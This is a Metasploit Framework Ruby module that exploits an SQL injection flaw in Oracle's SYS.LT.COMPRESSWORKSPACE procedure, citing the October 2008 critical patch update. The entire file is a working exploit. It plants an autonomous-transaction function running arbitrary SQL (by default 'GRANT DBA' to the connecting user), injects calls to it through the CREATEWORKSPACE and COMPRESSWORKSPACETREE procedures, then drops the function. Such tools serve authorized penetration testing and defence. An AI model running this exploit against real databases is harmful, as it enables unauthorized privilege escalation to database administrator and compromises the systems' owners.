metasploit-framework/modules/auxiliary/sqli/oracle/lt_compressworkspace.rb

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::ORACLE

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'SQL Injection via SYS.LT.COMPRESSWORKSPACE.',
			'Description'    => %q{
				This module exploits an sql injection flaw in the COMPRESSWORKSPACE
				procedure of the PL/SQL package SYS.LT. Any user with execute
				privilege on the vulnerable package can exploit this vulnerability.
			},
			'Author'         => [ 'CG' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuoct2008.html' ],
					[ 'URL', 'http://www.appsecinc.com/resources/alerts/oracle/2008-10.shtml' ],
				],
			'DisclosureDate' => 'Nov 11, 2008'))

			register_options( 
				[
					OptString.new('SQL', [ false, 'SQL to execte.',  "GRANT DBA to #{datastore['DBUSER']}"]),					
				], self.class)
	end

	def run
		name  = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
		cruft = Rex::Text.rand_text_alpha_upper(1)
		
		function = "
			CREATE OR REPLACE FUNCTION #{cruft} 
			RETURN VARCHAR2 AUTHID CURRENT_USER
			AS
			PRAGMA AUTONOMOUS_TRANSACTION;
			BEGIN
			EXECUTE IMMEDIATE '#{datastore['SQL']}';
			COMMIT;
			RETURN '#{cruft}';
			END;"

		package1 = "BEGIN SYS.LT.CREATEWORKSPACE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}'); END;"
		
		package2 = "BEGIN SYS.LT.COMPRESSWORKSPACETREE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}'); END;"

		clean = "DROP FUNCTION #{cruft}"

		print_status("Attempting sql injection on SYS.LT.COMPRESSWORKSPACE...")

		print_status("Sending function...")
		prepare_exec(function)
		
		begin
			prepare_exec(package1)
			prepare_exec(package2)
		rescue  => e
			if ( e.to_s =~ /No Data/ )
				print_status("Removing function '#{cruft}'...")
				prepare_exec(clean)
			else
				return
			end
		end

	end

end